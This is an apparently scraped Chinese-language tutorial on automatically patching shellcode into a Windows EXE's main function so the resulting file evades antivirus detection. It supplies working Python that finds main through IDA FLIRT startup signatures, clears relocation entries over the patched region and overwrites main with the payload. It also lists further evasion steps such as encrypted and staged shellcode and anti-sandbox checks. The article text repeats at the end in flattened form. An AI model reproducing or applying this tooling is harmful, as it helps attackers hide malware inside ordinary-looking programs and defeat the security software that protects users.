自动化patch shellcode到EXE实现免杀
字数 1148 2025-08-23 18:31:09

自动化Patch Shellcode到EXE实现免杀技术详解

1. 技术背景与核心思想

本技术基于早期工具Shellter的核心思路,通过分析PE文件执行流,在必经的执行路径上patch shellcode实现免杀。主要特点包括:

  • 不创建新节区或修改入口点,降低检测风险
  • 利用程序正常执行流程中的必经路径插入shellcode
  • 涉及PE文件结构分析、函数定位和重定位表处理

2. 技术实现流程

2.1 定位Main函数

2.1.1 定位策略选择

  • 不选择OEP(原始入口点):过于明显易被检测
  • 不选择CRT初始化代码:同样容易被检测
  • 最佳选择:进入main函数后的必经路径

2.1.2 利用IDA FLIRT签名定位

IDA使用FLIRT (Fast Library Identification and Recognition Technology)签名技术,其中包含专门识别CRT的"启动签名":

  1. 启动签名位置:

    • IDA SDK的flair/startup文件夹下
    • 打包好的签名在sig文件夹下(pe.sig和pe64.sig)
  2. 签名结构特点:

    • 基于前缀树的组织结构
    • 包含模式匹配和附加信息

示例签名格式:

Pattern : 33C040C20C00 0000:o=2:ulink:a=104:m=+E(+5*0c&~-/VirtualProtect~)??*0d&/entry:S=0/pe
  1. 关键信息提取:
    • m=+171^[_wWinMain@16]:表示main函数相对于CRT启动函数的偏移量
    • 需要验证偏移位置是否为E8(call指令)

2.1.3 实现代码解析

def extract_patterns_and_m_values(file_path):
    # 从签名文件中提取模式和偏移量
    patterns = {}
    with open(file_path, 'r', encoding='utf-8') as file:
        content = file.read()
        sections = content.strip().split('\n\n')
        for section in sections:
            pattern_match = re.search(r'Pattern:\s*(.+)', section)
            m_values = re.findall(r'm=[+-]([0-9A-Fa-f]+)', section)
            if pattern_match:
                pattern = pattern_match.group(1).strip()
                filtered_m_values = [m.strip() for m in m_values if re.match(r'.*[0-9A-Fa-f]$', m.strip())]
                if filtered_m_values:
                    patterns[pattern] = filtered_m_values
    return patterns

def search_bytes_in_file(data, pattern):
    # 在文件中搜索匹配模式
    pattern = pattern.replace('..', r'.{1}')
    pattern = re.sub(r'([0-9A-Fa-f]{2})', r'\\x\1', pattern)
    regex = bytes(pattern, 'utf-8')
    match = re.search(regex, data)
    return match

def get_main_offset(data, pattern_path):
    # 获取main函数偏移量
    patterns = extract_patterns_and_m_values(pattern_path)
    for pattern, m_values in patterns.items():
        match = search_bytes_in_file(data, pattern)
        if match:
            for m in m_values:
                if data[match.start() + int(m, 16)] == 0xE8:
                    call_main_offset = match.start() + int(m, 16)
                    return call_main_offset
    return 0

2.2 处理重定位表问题

2.2.1 问题现象

  • 静态分析时地址与运行时加载地址不一致
  • 导致patch的代码被重定位机制修改

2.2.2 解决方案

修改重定位表中指向patch区域的条目:

  1. 遍历重定位表
  2. 找到指向patch区域的条目
  3. 将这些条目清零或修改

实现代码:

def modify_relocation_entries(pe, target_rva_start, target_rva_end):
    if not hasattr(pe, 'DIRECTORY_ENTRY_BASERELOC'):
        print("No Base Relocation Table found.")
        return
    
    # 遍历每个重定位块
    for base_reloc in pe.DIRECTORY_ENTRY_BASERELOC:
        new_entries = []
        for entry in base_reloc.entries:
            entry_rva = entry.rva
            if target_rva_start <= entry_rva <= target_rva_end:
                # 修改指向patch区域的条目
                entry.type = 0
                entry.rva = 0
            else:
                new_entries.append(entry)
        base_reloc.entries = new_entries

2.3 完整Patch流程

  1. 读取PE文件和shellcode
  2. 确定文件架构(32位或64位)
  3. 使用相应签名文件定位main函数
  4. 计算main函数RVA和文件偏移
  5. 修改重定位表
  6. 写入patch后的文件

完整实现:

def patch_pe(pe_file_path, shellcode_path):
    with open(shellcode_path, 'rb') as f:
        shellcode = f.read()
    shellcode_size = len(shellcode)
    
    pe = pefile.PE(pe_file_path)
    with open(pe_file_path, 'rb') as f:
        data = f.read()
    
    # 确定文件类型
    file_type = 32 if pe.FILE_HEADER.Machine == pefile.MACHINE_TYPE['IMAGE_FILE_MACHINE_I386'] else 64
    pattern_path = 'pe.txt' if file_type == 32 else 'pe64.txt'
    
    # 定位main函数
    call_main_offset = get_main_offset(data, pattern_path)
    if call_main_offset == 0:
        print("Cant pattern crt or main!")
    else:
        call_main_rva = pe.get_rva_from_offset(call_main_offset)
        relative_offset = int.from_bytes(data[call_main_offset+1:call_main_offset+5], 'little', signed=True)
        main_rva = call_main_rva + relative_offset + 5
        main_offset = pe.get_offset_from_rva(main_rva)
        
        print(f"Main RVA: 0x{main_rva:X}, Main offset: 0x{main_offset:X}")
        
        # 修改重定位表
        modify_relocation_entries(pe, main_rva, main_rva + shellcode_size)
        
        # 写入patch后的文件
        output_file_path = 'output.exe'
        pe.write(output_file_path)
        with open(output_file_path, 'rb+') as f:
            f.seek(main_offset)
            f.write(shellcode)
        
        print(f"Patch PE file saved as: {output_file_path}")

3. 进阶优化方向

  1. 更隐蔽的patch位置

    • 使用AST分析控制流,选择更深层的必经路径
    • 劫持系统API调用路径
  2. 签名处理优化

    • 逆向dumpsig实现更优雅的签名匹配
    • 处理签名碰撞情况
  3. 免杀增强

    • 加密shellcode,运行时解密
    • 分阶段加载shellcode
    • 添加反调试和反沙箱检测

4. 参考资源

  1. 《IDA Pro权威指南(第二版)》
  2. PE文件格式官方文档
  3. Microsoft CRT启动过程文档
  4. Shellter工具源代码分析

5. 注意事项

  1. 本技术仅供学习和研究使用
  2. 实际使用时需要考虑目标系统的DEP、ASLR等防护机制
  3. 不同编译器和版本的PE文件可能需要调整签名匹配
  4. 过度修改重定位表可能影响程序稳定性
自动化Patch Shellcode到EXE实现免杀技术详解 1. 技术背景与核心思想 本技术基于早期工具Shellter的核心思路,通过分析PE文件执行流,在必经的执行路径上patch shellcode实现免杀。主要特点包括: 不创建新节区或修改入口点,降低检测风险 利用程序正常执行流程中的必经路径插入shellcode 涉及PE文件结构分析、函数定位和重定位表处理 2. 技术实现流程 2.1 定位Main函数 2.1.1 定位策略选择 不选择OEP(原始入口点):过于明显易被检测 不选择CRT初始化代码:同样容易被检测 最佳选择:进入main函数后的必经路径 2.1.2 利用IDA FLIRT签名定位 IDA使用FLIRT (Fast Library Identification and Recognition Technology)签名技术,其中包含专门识别CRT的"启动签名": 启动签名位置: IDA SDK的flair/startup文件夹下 打包好的签名在sig文件夹下(pe.sig和pe64.sig) 签名结构特点: 基于前缀树的组织结构 包含模式匹配和附加信息 示例签名格式: 关键信息提取: m=+171^[_wWinMain@16] :表示main函数相对于CRT启动函数的偏移量 需要验证偏移位置是否为 E8 (call指令) 2.1.3 实现代码解析 2.2 处理重定位表问题 2.2.1 问题现象 静态分析时地址与运行时加载地址不一致 导致patch的代码被重定位机制修改 2.2.2 解决方案 修改重定位表中指向patch区域的条目: 遍历重定位表 找到指向patch区域的条目 将这些条目清零或修改 实现代码: 2.3 完整Patch流程 读取PE文件和shellcode 确定文件架构(32位或64位) 使用相应签名文件定位main函数 计算main函数RVA和文件偏移 修改重定位表 写入patch后的文件 完整实现: 3. 进阶优化方向 更隐蔽的patch位置 : 使用AST分析控制流,选择更深层的必经路径 劫持系统API调用路径 签名处理优化 : 逆向dumpsig实现更优雅的签名匹配 处理签名碰撞情况 免杀增强 : 加密shellcode,运行时解密 分阶段加载shellcode 添加反调试和反沙箱检测 4. 参考资源 《IDA Pro权威指南(第二版)》 PE文件格式官方文档 Microsoft CRT启动过程文档 Shellter工具源代码分析 5. 注意事项 本技术仅供学习和研究使用 实际使用时需要考虑目标系统的DEP、ASLR等防护机制 不同编译器和版本的PE文件可能需要调整签名匹配 过度修改重定位表可能影响程序稳定性